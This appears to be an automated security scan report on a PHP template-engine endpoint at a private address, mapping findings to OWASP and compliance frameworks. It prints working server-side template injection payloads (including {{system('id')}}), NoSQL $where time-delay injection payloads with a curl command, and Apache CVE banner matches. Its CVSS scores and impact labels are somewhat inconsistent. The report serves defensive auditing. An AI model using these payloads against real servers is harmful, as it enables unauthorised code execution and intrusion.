| Likelihood ▼ / Impact ▶ | Negligible | Minor | Moderate | Major | Severe |
|---|---|---|---|---|---|
| Almost certain | |||||
| Likely | |||||
| Possible | 1 | ||||
| Unlikely | |||||
| Rare |
| ID | Finding | CVSS | Priority | SLA |
|---|---|---|---|---|
| GGC-NOSQL-089 | 🔍 NOSQL_INJECTION filter | 8.8 | P1 | Within 7 days |
Each finding mapped to OWASP Top 10 2021, PCI-DSS v4.0, ISO/IEC 27001:2022 and GDPR. References are indicative for audit scoping, not a certification statement.
| OWASP Top 10 (2021) | # Findings | PCI-DSS v4.0 | ISO/IEC 27001:2022 | GDPR |
|---|---|---|---|---|
| A03:2021 – Injection | 2 | PCI-DSS v4.0 Req 6.2.4 (injection/XSS) | ISO/IEC 27001:2022 A.8.28 | GDPR Art. 32 (security of processing) |
| A06:2021 – Vulnerable and Outdated Components | 2 | PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) | ISO/IEC 27001:2022 A.8.8 | GDPR Art. 32 (security of processing) |
SAST confidence = static taint-flow certainty (source→sink), not runtime proof. "Confirmed" is reserved for DAST findings the engine actually exploited.
| # | Parameter | Sink | Risk | CVSS | Static confidence | Exploit. | Impact | Location |
|---|---|---|---|---|---|---|---|---|
| 1 | body |
🔍 SSTI | Critical | 9.8 CRITICAL | Taint-flow | Chained | RCE | POST /save (JSON body field 'body') → GET ?action=admin_render (rendered output) |
| 2 | filter |
🔍 NOSQL_INJECTION | High | 9.8 CRITICAL | High | Direct | RCE | POST /save (JSON body field 'filter') |
| 3 | apache 2.4.58 · CVE-2024-38475 |
🔍 OUTDATED_COMPONENT | Critical | 9.8 CRITICAL | Taint-flow | Direct | RCE | HTTP Server / X-Powered-By banner |
| 4 | apache 2.4.58 · CVE-2024-38476 |
🔍 OUTDATED_COMPONENT | High | 7.5 HIGH | Taint-flow | Direct | DOS | HTTP Server / X-Powered-By banner |
| Endpoint | Requests | Findings | Risk |
|---|---|---|---|
| http://172.26.203.184/template_engine.php/save | 3 | 🔍 NOSQL_INJECTION | CRITICAL |
| template_engine.php | 4 | 🔍 OUTDATED_COMPONENT | CRITICAL |
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ✓ OK | GET (2nd-order) |
template_engine.php?action=admin_render |
RENDER:seed=ggsec{{7*7}}|store=/save|storefield=body|render=/?action=admin_render|indicator=ggsec49|login=/?action=login |
200 | 34ms | — | — |
| ✓ OK | GET (2nd-order) |
template_engine.php?action=admin_render |
RENDER:seed={{system('id')}}|store=/save|storefield=body|render=/?action=admin_render|indicator=uid=|login=/?action=login |
200 | 13ms | — | — |
curl -i -X POST 'http://172.26.203.184/template_engine.php/save' --data 'JSONBODY:{"body":"","filter":{"$where":"function(){sleep(5000);return true;}"}}'Proof: response took 4.0s while a non-vulnerable request returns in well under 1s — the server executed the injected delay (blind time-based injection; no data is echoed). Response body: {"status":"template_saved"}| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
http://172.26.203.184/template_engine.php/save |
JSONBODY:{"body":"","filter":{"$where":"var s=Date.now();while(Date.now()-s<5000){};return true;"}} |
200 | 3961ms | nosql-time-based | — |
| ⚠ VULN | POST |
http://172.26.203.184/template_engine.php/save |
JSONBODY:{"body":"","filter":{"$where":"sleep(5000)"}} |
200 | 3983ms | nosql-time-based | — |
| ⚠ VULN | POST |
http://172.26.203.184/template_engine.php/save |
JSONBODY:{"body":"","filter":{"$where":"function(){sleep(5000);return true;}"}} |
200 | 3999ms | nosql-time-based | — |
curl -i 'template_engine.php'
Server banner 'Apache/2.4.58' matches CVE-2024-38475 (CWE-22, Critical): mod_rewrite improper output escaping → URL mapped to filesystem (RCE / source disclosure). Affected: version < 2.4.60. VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro pa…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
template_engine.php |
outdated-component |
200 | 0ms | outdated-component | — |
curl -i 'template_engine.php'
Server banner 'Apache/2.4.58' matches CVE-2024-38476 (CWE-476, High): mod_proxy null-pointer dereference → DoS via malicious backend response headers. Affected: version < 2.4.60. VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro patch may leave…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
template_engine.php |
outdated-component |
200 | 0ms | outdated-component | — |
| Header | Status | Risk | Recommendation |
|---|---|---|---|
Content-Security-Policy |
✗ MISSING | HIGH | Prevents XSS/injection. Use nonce or strict-dynamic. |
X-Frame-Options |
✗ MISSING | MEDIUM | Prevents clickjacking. Use DENY or SAMEORIGIN. |
X-Content-Type-Options |
✗ MISSING | LOW | Prevents MIME sniffing. Set to nosniff. |
Strict-Transport-Security |
✗ MISSING | MEDIUM | Enforces HTTPS. min-age=31536000; includeSubDomains. |
Referrer-Policy |
✗ MISSING | LOW | Limits referrer leakage. strict-origin-when-cross-origin. |
Permissions-Policy |
✗ MISSING | LOW | Restrict unused browser features (camera, mic, geo). |